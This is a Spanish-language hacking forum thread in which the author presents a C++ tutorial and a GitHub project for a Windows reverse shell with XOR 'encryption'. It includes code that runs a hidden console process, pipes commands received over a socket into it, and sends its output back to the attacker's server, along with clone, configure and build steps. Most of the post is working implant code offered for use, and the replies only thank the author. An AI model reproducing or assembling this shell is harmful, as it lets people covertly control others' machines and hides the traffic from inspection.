Underc0de

[In]Seguridad Informática => Hacking => Mensaje iniciado por: d3adly en Julio 05, 2020, 09:14:44 PM

Título: Shell inversa "Cifrada" segunda parte (Windows)
Publicado por: d3adly en Julio 05, 2020, 09:14:44 PM
Hola comunidad, hoy traigo la segunda parte del post anterior sobre cifrado en una shell inversa (https://underc0de.org/foro/hacking/shell-inversa-'cifrada'/), esta vez aplicado a sistemas Windows.

En teoria el proceso es el mismo, a diferencia que ahora no se realiza un duplicado de la imagen del proceso en memoria. Las funciones mas importantes a usar con:

Como aclare anteriormente es casi el mismo proceso. Primero procedemos a crear las tuberias usando CreatePipe:
Código (cpp) [Seleccionar]

   HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr;
   stdinRd = stdinWr = stdoutRd = stdoutWr = nullptr;
   
   SECURITY_ATTRIBUTES sa;
   sa.nLength = sizeof(SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor =  nullptr;
   sa.bInheritHandle = true;   //Proceso hijo puede heredar tuberias retornadas por CreatePipe
   if(!CreatePipe(&stdinRd, &stdinWr, &sa, 0) || !CreatePipe(&stdoutRd, &stdoutWr, &sa, 0)){
      //No se pudo crear las tuberias                 
   }

En sistemas windows HANDLE es como decir, un descriptor de archivo en linux fd, se usa para crear archivos, leer y escribir hacia ellos. En este caso haremos uso del mismo para crear tuberias.
La estructura SECURITY_ATTRIBUTES  (https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85)) contiene la informacion que se le pasara a la funcion CreatePipe, esta estructura decide si un proceso hijo puede heredar o no los HANDLES creados por esta funcion, en este caso las tuberias.
Luego esta la funcion CreatePipe la cual recibe los siguientes parametros:
Código (cpp) [Seleccionar]

BOOL CreatePipe(
  PHANDLE               hReadPipe,          //Extremo de lectura  (stdinRd) 
  PHANDLE               hWritePipe,         //Extremo de escritura (stdinWr)
  LPSECURITY_ATTRIBUTES lpPipeAttributes,   //Estructura con los atributos de seguridad (sa)
  DWORD                 nSize               //Tamaño de la estructura (sizeof(SECURITY_ATTRIBUTES))
);
Extraido de la web de Microsoft (https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-createpipe)
La funcion retorna verdadero si se creo la tuberia o falso si sucede un error. Si todo sale bien, hemos creado las siguientes tuberias:

Código (text) [Seleccionar]
stdinRd < === > stdinWr
stdoutRd < === > stdoutWr

Todo lo que se escriba a stdinWr, se puede leer en stdinRd, y es el mismo caso para stdoutRd/stdoutWr.

Luego de crear las tuberias se procede a crear el proceso hijo especificandole que redireccione stdout/stderr a un extremo de escritura de una de las tuberias previamente creadas (stdoutWr):

Código (cpp) [Seleccionar]

   PROCESS_INFORMATION pi;
   STARTUPINFO si;
   GetStartupInfo(&si);
   si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
   si.wShowWindow = SW_HIDE;
   si.hStdOutput = stdoutWr;
   si.hStdError = stdoutWr;
   si.hStdInput = stdinRd;
   if(CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi) == 0){
      //No se pudo invocar la shell                       
   }


La estructura STARTUPINFO (https://docs.microsoft.com/en-us/previous-versions/windows/embedded/bb499330(v%3dwinembedded.5)) contiene la informacion de como se creara la ventana del nuevo proceso. La funcion GetStartupInfo (https://docs.microsoft.com/es-es/windows/win32/api/processthreadsapi/nf-processthreadsapi-getstartupinfow?redirectedfrom=MSDN) obtiene una estructura del tipo STARTUPINFO, la cual contiene la informacion que se uso al crear el proceso actual. Se hace uso de la misma para llenar la estructura si (la cual vamos a usar para crear el proceso hijo) y asi modificar solamente las siguientes lineas:

Código (cpp) [Seleccionar]

   si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
   si.wShowWindow = SW_HIDE;
   si.hStdOutput = stdoutWr;
   si.hStdError = stdoutWr;
   si.hStdInput = stdinRd;

El valor dwFlags contiene la opcion u opciones que se utilizaran en la esctructura:
La opcion wShowWindow especifica como se mostrara la ventana del nuevo proceso, en este caso SW_HIDE (Oculta). Luego le siguen las opciones hStdOutput , hStdError y hStdInput las cuales son nuestras tuberias que leeran y escribiran al programa. Entonces las salida y entrada del programa funcionara de la siguiente manera:

Despues se crea el proceso haciendo uso de la funcion CreateProcess:

Código (cpp) [Seleccionar]

CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi)

La cual recibe los siguientes parametros:

Código (cpp) [Seleccionar]

BOOL CreateProcess(
  LPCWSTR pszImageName,
  LPCWSTR pszCmdLine,
  LPSECURITY_ATTRIBUTES psaProcess,
  LPSECURITY_ATTRIBUTES psaThread,
  BOOL fInheritHandles,
  DWORD fdwCreate,
  LPVOID pvEnvironment,
  LPWSTR pszCurDir,
  LPSTARTUPINFOW psiStartInfo,
  LPPROCESS_INFORMATION pProcInfo
);
Extraido de la web de Microsoft (https://docs.microsoft.com/en-us/previous-versions/aa908775(v=msdn.10))
En este caso solo nos interesan 5 parametros:
con las  demas opciones se le pasara como parametro nullptr. Si la funcion se ejecuto correctamente retorna un valor diferente de 0, si retorna este valor significa que hubo un error.

Hasta aqui programa.exe se esta ejecutando oculto, leyendo y escribiendo desde y hacia las tuberias creadas por el proceso padre. Ahora se crean dos hilos para leer y escribir al programa mediante las tuberias, asi logramos control sobre lo que salga y entre al programa para aplicar cualquier tipo de "cifrado", en este ejemplo la vieja confiable XOR:

Código (cpp) [Seleccionar]

//Funcion de cifrado XOR
std::string XOR(const std::string Data, const std::string Password){
   std::string Final = "";
   for(char cD : Data){
      for(char cS : Password){
         cD ^= cS;
      }
      Final.append(1, cD);
   }
   return Final;
}


El hilo el cual escribira al proceso va de la siguiente manera:
Código (cpp) [Seleccionar]

while(EstaCorriendoLaShell){
char buffer[1024];
recv(sckSocket, buffer, 1024, 0);
std::string strCmd = Xor(std::string(buffer));
   DWORD longitud = strCmd.length();
   DWORD bytesEscritos = 0;
if(!WriteFile(stdinWr, strCmd.c_str(), longitud, &bytesEscritos , nullptr)){
//Error escribiendo a la tuberia
EstaCorriendoLaShell = false;
break;
}
}

la funcion WriteFile (https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile) recibe como primer parametro el HANDLE hacia el cual escribir, en este caso el extremo de escritura de la tuberia (stdinWr), el segundo parametro es la informacion a escribir, la cual es strCmd que previamente se ha "descifrado" con XOR, el tercer parametro es la cantidad de bytes a escribir, el cuarto es un puntero a una variable de tipo DWORD que recibe la cantidad de bytes que se escribieron al HANDLE(stdinWr) y el ultimo le pasamos como parametro nullptr. Si la funcion se ejecuto correctamente el resultado es mayor a 0, si el retorno es este valor, ocurrio un error.

Y por ultimo el hilo que lee del proceso creado va de la siguiente forma:

Código (cpp) [Seleccionar]

while(EstaCorriendoLaShell){
char cBuffer[512];
DWORD bytesLeidos = 0;
if(PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)){
if(bytesLeidos > 0){
ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);
} else {
//Todavia no hay nada
Sleep(100);
continue;
}
std::string strCmd = Xor(std::string(cBuffer));
int iLen = strCmd.length();
send(sckSocket, strCmd.c_str(), iLen, 0);
} else {
//PeekNamedPipe error
EstaCorriendoLaShell = false;
break;
}
}

haciendo uso de la funcion previamente explicada PeekNamedPipe que se usa para leer del Pipe/HANDLE especificado(stdoutRd), pero al leer esta funcion no borra nada de la tuberia, es para el simple proposito de darle una "ojeada" (Peek) al HANDLE. Ademas del extremo de la tuberia se le pasa como parametro un puntero al buffer el cual recibira los datos pero en este caso como solo le estamos dando una ojeada se le pasa como parametro nullptr. Tambien recibe como parametro un puntero a una variable que recibira el valor de la cantidad de bytes que se pudieron leer (bytesLeidos). Los demas parametros se quedan en nullptr ya que no se almacenara nada solo es para ver si ya hay datos disponibles para leer.
Si la variable bytesleidos es mayor a cero significa que hay datos y podemos proceder a leer de la tuberia haciendo uso de la funcion ReadFile:

Código (cpp) [Seleccionar]

ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);

esta funcion recibe la misma cantida de parametros que WriteFile, el (HANDLE/Pipe) del cual leer, donde almacenar los datos (cBuffer), cantidad de bytes a leer (512) y un puntero a una variable que recibe la cantidad de bytes leidos. El ultimo parametro al igual que la funcion WriteFile lo dejamos en nullptr. Una vez leidos los datos se "cifran" haciendo uso de XOR y posteriormente los envia al servidor(atacante).

Pues esa es una descripcion (no muy a fondo) del desarollo e implementacion de una shell inversa "cifrada" en sistemas Windows. El proyecto esta alojado en github como: Ciphered Reverse Shell (https://github.com/d3adlym1nd/Ciphered-Reverse-Shell). Y como siempre no puede faltar el mini tutorial:

Clonar:

Código (dos) [Seleccionar]
git clone https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git
O descargar desde aqui : https://github.com/d3adlym1nd/Ciphered-Reverse-Shell/archive/master.zip (https://github.com/d3adlym1nd/Ciphered-Reverse-Shell/archive/master.zip).

Luego editar el fichero Windows/Client.cpp y modificar la siguiente linea de la clase:
Código (cpp) [Seleccionar]
std::string strPassword = "$up3rP@sSw0rD";
con cualquier contraseña que se desee. Luego modificar la funcion main:

Código (cpp) [Seleccionar]
if(Cli->Connect("127.0.0.1", "1337")){
con la informacion que utilizara el cliente para conectarse.

Abrir el archivo Windows/Server.cpp y modificar la funcion main:

Código (cpp) [Seleccionar]

Server *Srv = new Server(1337, "$up3rP@sSw0rD");

con el puerto y la contraseña a usar en la comunicacion.

Compilar en el directorio Windows/ con mingw32-make client && mingw32-make server. Luego solo toca correr el servidor y el cliente en otra pc.

Una captura:
         (https://i.imgur.com/gj7uSqS.jpg)

Espero que les sirva de algo, cualquier duda/aporte/comentario es muy bien recibido. Les deseo un feliz resto del dia ;D

Saludos.


Edit:
Cometi un error en la llamada a la funcion PeekNamedPipe, antes de la variable que recibe la cantidad de bytes leidos, se le debe pasar cuantos bytes se deben leer ya que de lo contrario retornara 0. Si les dio el error de compilacion intercambiar el nullptr antes de la variables que recibe los datos con 512. Asi:

Código (cpp) [Seleccionar]

PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)

O si ya lo clonaron, actualizan con:

Código (dos) [Seleccionar]
git pull

Sinceras disculpas por el error.
Título: Re:Shell inversa "Cifrada" segunda parte (Windows)
Publicado por: ??????? en Julio 05, 2020, 09:58:17 PM
Muy buen aporte compañero, muchas gracias por el mismo, lo probaré  :D :D

Saludos!
-Kirari
Título: Re:Shell inversa "Cifrada" segunda parte (Windows)
Publicado por: d3adly en Julio 05, 2020, 10:02:34 PM
Gracias @Kirari (https://underc0de.org/foro/index.php?action=profile;u=92682) para mi es un placer  ;D
Título: Re:Shell inversa "Cifrada" segunda parte (Windows)
Publicado por: DtxdF en Julio 05, 2020, 10:22:57 PM
Está muy bueno @d3adly (https://underc0de.org/foro/index.php?action=profile;u=97561), cuando saque un tiempo la pruebo. Muchas gracias por tus aportes  ;D

~ DtxdF
Título: Re:Shell inversa "Cifrada" segunda parte (Windows)
Publicado por: d3adly en Julio 05, 2020, 10:54:50 PM
Gracias @DtxdF (https://underc0de.org/foro/index.php?action=profile;u=71723)  ;D